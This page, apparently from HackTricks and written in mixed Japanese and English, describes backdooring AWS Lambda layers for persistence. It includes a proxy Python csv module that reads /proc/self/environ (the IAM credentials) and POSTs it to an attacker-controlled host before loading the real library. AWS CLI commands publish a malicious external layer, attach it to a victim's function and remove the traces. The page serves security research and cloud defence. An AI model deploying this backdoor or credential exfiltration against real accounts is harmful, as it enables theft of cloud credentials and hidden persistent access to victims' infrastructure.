AWS - Lambda Layers Persistence

Support HackTricks

Lambda Layers

Lambdaレイヤーは、追加のコードやその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、カスタムランタイム、データ、または設定ファイルを含めることができます。

関数ごとに最大五つのレイヤーを含めることが可能です。関数にレイヤーを含めると、**内容は実行環境の/opt**ディレクトリに抽出されます。

デフォルトでは、作成したレイヤーはあなたのAWSアカウントにプライベートです。レイヤーを他のアカウントと共有するか、レイヤーを公開することを選択できます。あなたの関数が異なるアカウントが公開したレイヤーを使用している場合、レイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、関数はレイヤーのバージョンを使用し続けることができます。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。

コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージします。

Python load path

Pythonがlambdaで使用するロードパスは次のとおりです:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

チェックしてみてください、第二および第三の位置は、lambda layersがファイルを解凍するディレクトリで占められています: /opt/python/lib/python3.9/site-packages および /opt/python

もし攻撃者が使用されているlambda layerバックドアを仕掛けたり、一般的なライブラリが読み込まれたときに任意のコードを実行するものを追加した場合、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。

したがって、要件は次のとおりです:

  • 被害者のコードによって読み込まれるライブラリ確認する

  • カスタムコードを実行し、元のライブラリを読み込むためのlambda layersを使用したプロキシライブラリを作成する。

プリロードされたライブラリ

この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときにpythonランタイムにすでに読み込まれています。私はossysのようなものを見つけることを期待していましたが、jsonライブラリさえも読み込まれていました。 この永続性技術を悪用するためには、コードが実行されるときに読み込まれていない新しいライブラリを読み込む必要があります。

このようなpythonコードを使用すると、lambda内のpythonランタイムにプリロードされたライブラリのリストを取得することができます:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

そして、これはリストです(osjsonのようなライブラリがすでに存在することを確認してください)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

And this is the list of ライブラリ that lambda includes installed by default: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Layer Backdooring

In this example lets suppose that the targeted code is importing csv. We are going to be csvライブラリのインポートにバックドアを仕掛ける.

For doing that, we are going to csvというディレクトリを作成し、その中に __init__.py ファイルを置く in a path that is loaded by lambda: /opt/python/lib/python3.9/site-packages Then, when the lambda is executed and try to load csv, our __init__.pyファイルが読み込まれ、実行される. This file must:

  • Execute our payload

  • Load the original csv library

We can do both with:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

次に、このコードをパス python/lib/python3.9/site-packages/__init__.py に含むzipを作成し、lambdaレイヤーとして追加します。

このコードは https://github.com/carlospolop/LambdaLayerBackdoor で見つけることができます。

統合されたペイロードは、最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します(コードの変更またはコールドlambda)、しかし他の技術も以下のように統合することができます:

AWS - Steal Lambda Requests

外部レイヤー

外部アカウントからのlambdaレイヤーを使用することが可能であることに注意してください。さらに、lambdaは権限がなくても外部アカウントのレイヤーを使用できます。 また、lambdaが持てるレイヤーの最大数は5です

したがって、この技術の汎用性を向上させるために、攻撃者は以下のことができます:

  • ユーザーの既存のレイヤーにバックドアを仕掛ける(外部は何もない)

  • 自分のアカウントに レイヤー作成し、被害者アカウントにそのレイヤーを使用するアクセスを与え被害者のLambdaにそのレイヤーを設定し、権限を削除します。

  • Lambdaレイヤーを使用することができ被害者はレイヤーのコードをダウンロードする簡単な方法がありません(lambda内でrevシェルを取得することを除いて)

  • 被害者は**aws lambda list-layersを使用して外部レイヤーを確認できません**。

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
HackTricksをサポートする

Last updated